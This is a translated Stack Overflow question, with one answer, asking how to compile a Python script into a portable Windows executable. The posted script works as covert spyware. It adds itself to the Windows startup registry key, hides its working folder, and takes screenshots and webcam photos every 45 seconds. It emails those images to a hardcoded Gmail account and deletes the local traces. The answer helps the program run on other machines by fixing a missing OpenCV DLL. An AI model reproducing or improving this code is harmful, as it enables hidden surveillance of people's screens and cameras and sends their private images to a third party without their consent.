使我的 python 脚本可执行,以便任何人都可以在任何 Windows 系统中使用?

Posted

技术标签:

【中文标题】使我的 python 脚本可执行,以便任何人都可以在任何 Windows 系统中使用?【英文标题】:Make my python script executable so that anyone can use in any windows system? 【发布时间】:2018-09-06 04:09:33 【问题描述】:

我编写了一个 python 脚本,它截取我的屏幕截图并从我的网络摄像头拍摄照片并将其发送到我的电子邮件。经过一番努力,我完成了我的剧本。我发现编写脚本比为任何用户分发我的脚本要容易得多。我尝试了几次用 Pyinstaller 编译我的脚本,但都没有成功。到目前为止,我已经发现如果我希望我的脚本使用 pyinstaller 编译,我应该调整 .spec 文件。但据我所知,调整 .spec 文件 是为了提供额外的资源,如 图标图像、程序中使用的图像

但是我没有任何这样的额外资源,但是当我的程序运行时,它会在 root 文件夹中创建两个文件夹 is_internet 和 no_internet,如果有互联网连接,那么程序从网络摄像头和屏幕截图中拍照并将其发送到我的电子邮件并删除这两个文件。如果没有互联网,那么我的程序会将图像保存到 no_internet 文件夹,其中还有另外两个文件夹即 Screenshot 和 Webcam,其中截取的屏幕截图存储在 screenshot 文件夹中,来自网络摄像头的图像存储在网络摄像头中文件夹。只要有互联网,我的脚本就会将这些保存的图像发送到我的电子邮件(一次 100 张图像),并删除那些发送的图像。

我使用了 pyinstaller -F -w Spyder.py 但后来如果我想在一个文件模式下编译,那么我开始知道在我的脚本顶部使用另一个函数。函数如下:

def resource_path(relative_path):
    try:
        base_path = sys._MEIPASS

    except Exception:
        base_path = os.path.abspath(".")

    return os.path.join(base_path, relative_path)

但我不知道在我的脚本中哪里调用这个函数。

我的 .spec 文件在运行时如下所示:- pyi-makespec --onefile --windowed --noupx Spyder.py

# -*- mode: python -*-

block_cipher = None


a = Analysis(['Spyder.py'],
             pathex=['C:\\Users\\6292s\\Desktop\\PP\\Setup_File\\Open CV -no console'],
             binaries=[],
             datas=[],
             hiddenimports=[],
             hookspath=[],
             runtime_hooks=[],
             excludes=[],
             win_no_prefer_redirects=False,
             win_private_assemblies=False,
             cipher=block_cipher)
pyz = PYZ(a.pure, a.zipped_data,
             cipher=block_cipher)
exe = EXE(pyz,
          a.scripts,
          a.binaries,
          a.zipfiles,
          a.datas,
          name='Spyder',
          debug=False,
          strip=False,
          upx=False,
          runtime_tmpdir=None,
          console=False )

我的脚本

import os
import cv2
import time
import string
import random
import smtplib
import _winreg
import requests
import pyautogui
import subprocess
from email import Encoders
from email.MIMEBase import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication



fromadd = 'fromadd@gmail.com'
toadd = 'toadd@gmail.com'
password = 'Password'


# no idea where to call this function in my script. 

def resource_path(relative_path):
    try:
        base_path = sys._MEIPASS

    except Exception:
        base_path = os.path.abspath(".")

    return os.path.join(base_path, relative_path)


def is_at_startup():

    areg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)

    try:
        akey = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spyder.exe', 0, _winreg.KEY_WRITE)
        areg.Close()
        akey.Close()

    except WindowsError:

        key = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_SET_VALUE)
        _winreg.SetValueEx(key, 'Spyder', 0, _winreg.REG_SZ, 'C:\Program Files (x86)\Spyder\Spyder.exe')

        areg.Close()
        key.Close()



def naming():

    global name
    global clock
    global webcam_name
    global screenshot_name

    name = ''

    for i in range(20):
        x = random.randint(0, 61)
        name += string.printable[x]

    clock = time.ctime().replace(':', '-')
    screenshot_name = clock + ' _Screenshot_ ' + name + '.jpg'
    webcam_name = clock + ' _Webcam_ ' + name + '.jpg'



def make_folder():

    if os.path.exists(os.path.join('C:' + os.sep, 'root')) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')) and os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) and os.path.exists(os.path.join(r'C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)


    if os.path.exists(os.path.join('C:' + os.sep, 'root')):
        pass


    if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
        pass


    if os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
        pass


    if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
        pass

    if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        pass


    if not os.path.exists(os.path.join('C:' + os.sep, 'root')):
        os.mkdir(os.path.join('C:' + os.sep, 'root'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))

        subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)


    if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))


    if not os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))


    if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))


    if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))



def is_internet():

    try:
        requests.get("http://www.google.com")
        return True

    except requests.ConnectionError:
        return False



def login():

    global msg

    sessions = smtplib.SMTP('smtp.gmail.com', '587')
    sessions.ehlo()
    sessions.starttls()
    sessions.ehlo()
    sessions.login(fromadd, password)
    sessions.sendmail(fromadd, toadd, msg.as_string())
    sessions.quit()

    msg = MIMEMultipart()



def capturing():

    os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))

    screenshot = pyautogui.screenshot()
    screenshot.save(screenshot_name)   

    cam = cv2.VideoCapture(0)
    ret, frame = cam.read()
    cv2.imwrite(webcam_name, frame)
    cam.release()
    cv2.destroyAllWindows()



def no_internet_screenshot():
    os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
    screenshot = pyautogui.screenshot()
    screenshot.save(screenshot_name)



def no_internet_webcam():
    os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))

    cam = cv2.VideoCapture(0)
    ret, frame = cam.read()
    cv2.imwrite(webcam_name, frame)
    cam.release()
    cv2.destroyAllWindows()



def send_mail(fromadd, toadd):

    global msg

    msg = MIMEMultipart()
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = '-- Screenshot & Webcam  - Internet Connection'

    screenshot_data = open(screenshot_name, 'rb').read()
    webcam_data = open(webcam_name, 'rb').read()

    send_screenshot = MIMEImage(screenshot_data, name=os.path.basename(screenshot_name))
    send_webcam_pic = MIMEImage(webcam_data, name=os.path.basename(webcam_name))

    msg.attach(send_screenshot)
    msg.attach(send_webcam_pic)

    if is_internet():
        login()

        for f in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
            os.remove(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet', f))



def no_internet_sending_screenshot(fromadd, toadd):

    global msg
    msg = MIMEMultipart()
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = '-- Screenshot  - No Internet'

    screenshot_path = []
    del_path = []
    screenshot_num = 0

    for screenshot_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Screenshot' + os.sep, screenshot_image)
        screenshot_path.append(abs_path)

    while len(screenshot_path) > 0:
        if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')) > 0:
            for screenshot_img in screenshot_path:
                if len(screenshot_path) > 100:
                    part = MIMEBase('application', 'octet-stream')
                    part.set_payload(open(screenshot_img, 'rb').read())
                    Encoders.encode_base64(part)
                    part.add_header('Content-Disposition', 'attachment; filename='.format(os.path.basename(screenshot_img)))
                    msg.attach(part)

                    del_path.append(screenshot_img)
                    screenshot_num += 1

                    if screenshot_num == 100:
                        login()

                        capturing()
                        send_mail(fromadd, toadd)

                        for dlt in del_path:
                            screenshot_path.remove(dlt)
                            os.remove(dlt)

                        del_path = []

                        screenshot_num = 0

                else:
                    for screenshot_img in screenshot_path:
                        part = MIMEBase('application', 'octet-stream')
                        part.set_payload(open(screenshot_img, 'rb').read())
                        Encoders.encode_base64(part)
                        part.add_header('Content-Disposition', 'attachment; filename='.format(os.path.basename(screenshot_img)))
                        msg.attach(part)

                        del_path.append(screenshot_img)
                        screenshot_num += 1

                        if screenshot_num == len(screenshot_path):
                            login()

                            capturing()
                            send_mail(fromadd, toadd)

                            for dlt in del_path:
                                screenshot_path.remove(dlt)
                                os.remove(dlt)

                            del_path = []

        else:
            break


def no_internet_sending_webcam(fromadd, toadd):

    global msg
    msg = MIMEMultipart()
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = '-- Webcam pic  - No Internet'

    webcam_path = []
    del_path = []
    webcam_num = 0

    for webcam_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
        abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Webcam' + os.sep, webcam_image)
        webcam_path.append(abs_path)

    while len(webcam_path) > 0:
        if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) > 0:
            for webcam_img in webcam_path:
                if len(webcam_path) > 100:
                    part = MIMEBase('application', 'octet-stream')
                    part.set_payload(open(webcam_img, 'rb').read())
                    Encoders.encode_base64(part)
                    part.add_header('Content-Disposition', 'attachment; filename='.format(os.path.basename(webcam_img)))
                    msg.attach(part)

                    del_path.append(webcam_img)
                    webcam_num += 1

                    if webcam_num == 100:
                        login()

                        capturing()
                        send_mail(fromadd, toadd)

                        for dlt in del_path:
                            webcam_path.remove(dlt)
                            os.remove(dlt)

                        del_path = []

                        webcam_num = 0

                else:
                    for webcam_img in webcam_path:
                        part = MIMEBase('application', 'octet-stream')
                        part.set_payload(open(webcam_img, 'rb').read())
                        Encoders.encode_base64(part)
                        part.add_header('Content-Disposition', 'attachment; filename='.format(os.path.basename(webcam_img)))
                        msg.attach(part)

                        del_path.append(webcam_img)
                        webcam_num += 1

                        if webcam_num == len(webcam_path):
                            login()

                            capturing()
                            send_mail(fromadd, toadd)

                            for dlt in del_path:
                                webcam_path.remove(dlt)
                                os.remove(dlt)

                            del_path = []

        else:
            break


def main():

    is_at_startup()
    make_folder()

    while True:

        naming()

        if is_internet():

            no_internet_sending_screenshot(fromadd, toadd)
            no_internet_sending_webcam(fromadd, toadd)

            capturing()
            send_mail(fromadd, toadd)

            time.sleep(45)


        else:

            no_internet_screenshot()
            no_internet_webcam()

            time.sleep(45)


if __name__ == '__main__':
    main()

当我使用上面的 .spec 文件创建一个可执行文件时,pyinstaller 编译我的文件没有错误。但是当我将可执行文件运行到另一台没有安装 python 或 pyinstaller 的机器上时,它总是给我 Fatal Error Failed to execute Spyder

我正在使用:

    Python:2.7.15 Pyinstaller:3.3.1 我的脚本中使用的模块:os, cv2 (3.4.2.17), time, string, random, smtplib, _winreg, requests (2.19.1), pyautogui (0.9.38), subprocess, email

我是否必须在 .spec 文件中包含我的工作文件夹(名为 root)? 或者 应该在我的 .spec 文件中添加任何内容吗?

我已经多次问同一个问题,但我的问题还没有解决。所以请帮我解决我的问题。

【问题讨论】:

【参考方案1】:

我有同样的错误。由于您的可执行路径中缺少 opencv_ffmpeg341.dll 而导致的致命错误。

我通过将 opencv_ffmpeg341.dllC:\\Lib\site-packages\cv2 复制到可执行文件所在的同一路径来解决了这个问题。

希望这能解决您的问题。

【讨论】:

以上是关于使我的 python 脚本可执行,以便任何人都可以在任何 Windows 系统中使用?的主要内容,如果未能解决你的问题,请参考以下文章

如何使 Python 脚本独立可执行以在没有任何依赖项的情况下运行? [复制]

如何使我的代码可停止? (不杀/打断)

使我的 SSIS 包可移植 - 如何做到这一点?

如何使我的 php 项目像 .exe 文件一样可分发

可以在 Ubuntu 中使用 cx-freeze 将 python 脚本冻结为 Windows 可执行文件吗?

Python cx_freeze 构建错误